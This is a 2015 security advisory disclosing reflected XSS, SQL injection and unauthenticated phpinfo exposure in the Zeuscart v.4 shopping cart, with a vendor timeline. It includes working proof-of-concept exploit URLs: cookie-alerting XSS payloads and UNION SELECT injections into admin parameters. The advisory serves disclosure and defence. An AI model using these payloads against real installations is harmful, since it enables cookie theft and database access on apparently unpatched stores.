146 lines
No EOL
4.5 KiB
Text
146 lines
No EOL
4.5 KiB
Text
Advisory: Multiple reflecting XSS-, SQLi and
|
||
InformationDisclosure-vulnerabilities in Zeuscart v.4
|
||
Advisory ID: SROEADV-2015-12
|
||
Author: Steffen Rösemann
|
||
Affected Software: Zeuscart v.4
|
||
Vendor URL: http://zeuscart.com/
|
||
Vendor Status: pending
|
||
CVE-ID: will asked to be assigned after release on FullDisclosure via
|
||
OSS-list
|
||
Software used for research: Mac OS X 10.10, Firefox 35.0.1
|
||
|
||
==========================
|
||
Vulnerability Description:
|
||
==========================
|
||
|
||
ECommerce-Shopping Cart Zeuscart v. 4 suffers from multiple XSS-, SQLi- and
|
||
InformationDisclosure-vulnerabilities.
|
||
|
||
==================
|
||
Technical Details:
|
||
==================
|
||
|
||
====
|
||
XSS
|
||
===
|
||
|
||
Reflecting XSS-vulnerabilities can be found in a common
|
||
Zeuscart-installation in the following locations and could be exploited for
|
||
example by crafting a link and make a registered user click on that link.
|
||
|
||
The parameter "search", which is used in the index.php is vulnerable to
|
||
XSS-attacks.
|
||
|
||
Exploit-Example:
|
||
|
||
http://
|
||
{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--
|
||
|
||
By appending arbitrary HTML- and/or JavaScript-code to the parameter
|
||
"schltr" which is as well used in index.php, an attacker could exploit this
|
||
XSS-vulnerable parameter:
|
||
|
||
Exploit-Example:
|
||
|
||
http://
|
||
{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E
|
||
|
||
The third XSS-vulnerability can be found in the "brand"-parameter, which is
|
||
again used in index.php.
|
||
|
||
Exploit-Example:
|
||
|
||
http://
|
||
{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E
|
||
|
||
====
|
||
SQLi
|
||
====
|
||
|
||
The SQL injection-vulnerabilities can be found in the administrative
|
||
backend of Zeuscart v. 4 and reside in the following locations in a common
|
||
installation.
|
||
|
||
By appending arbitrary SQL statements to the "id"-parameter, an attacker
|
||
could exploit this SQL injection vulnerability:
|
||
|
||
Exploit-Example:
|
||
|
||
http://
|
||
{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+
|
||
|
||
Another SQL injection vulnerability can be found here and can be exploited
|
||
by appending SQL statements to the vulnerable "cid"-parameter:
|
||
|
||
Exploit-Example:
|
||
|
||
http://
|
||
{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+
|
||
|
||
The last SQL injection vulnerability I found can be found in the following
|
||
location and can be exploited by appending SQL statements to the vulnerable
|
||
"id" parameter:
|
||
|
||
http://
|
||
{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+
|
||
|
||
==============
|
||
Information Disclosure
|
||
==============
|
||
|
||
The administrative backend of Zeuscart v. 4 allows the admin to use a
|
||
functionality, which displays the PHP-installation settings via phpinfo():
|
||
|
||
http://{TARGET}/admin/?do=getphpinfo
|
||
|
||
Unfortunately, the PHP-script does not check, if an authorized admin
|
||
executes this functionality: It is possible even for unregistered users to
|
||
request the above link to see the informations, phpinfo() displays. That
|
||
could expose sensitive informations to an attacker which could lead to
|
||
further exploitation.
|
||
|
||
|
||
|
||
=========
|
||
Solution:
|
||
=========
|
||
|
||
Vendor has been notified. After releasing a patch, which seems not to
|
||
correct the issues, the vendor decided not to respond anymore to figure out
|
||
a solution together. Currently, there is no patch available to secure
|
||
Zeuscart-installations.
|
||
|
||
|
||
====================
|
||
Disclosure Timeline:
|
||
====================
|
||
21-Jan-2015 – found the vulnerabilities
|
||
21-Jan-2015 - informed the developers (see [3])
|
||
21-Jan-2015 – release date of this security advisory [without technical
|
||
details]
|
||
21-Jan-2015 – fork of the repository to keep the vulnerable version
|
||
available for other researchers (see [5])
|
||
22-Jan-2015 - vendor responded, provided detailed information
|
||
04-Feb-2015 - vendor patches Bin/Core/Assembler.php; vulnerabilities are
|
||
still exploitable, which has been reported to the vendor (see [3])
|
||
19-Feb-2015 - asked the vendor again, if he will patch these issues (see
|
||
[3]); vendor did not respond
|
||
21-Feb-2015 - release date of this security advisory
|
||
21-Feb-2015 - send to FullDisclosure
|
||
|
||
|
||
========
|
||
Credits:
|
||
========
|
||
|
||
Vulnerabilities found and advisory written by Steffen Rösemann.
|
||
|
||
===========
|
||
References:
|
||
===========
|
||
|
||
[1] http://zeuscart.com/
|
||
[2] https://github.com/ZeusCart/zeuscart
|
||
[3] https://github.com/ZeusCart/zeuscart/issues/28
|
||
[4] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-12.html
|
||
[5] https://github.com/sroesemann/zeuscart |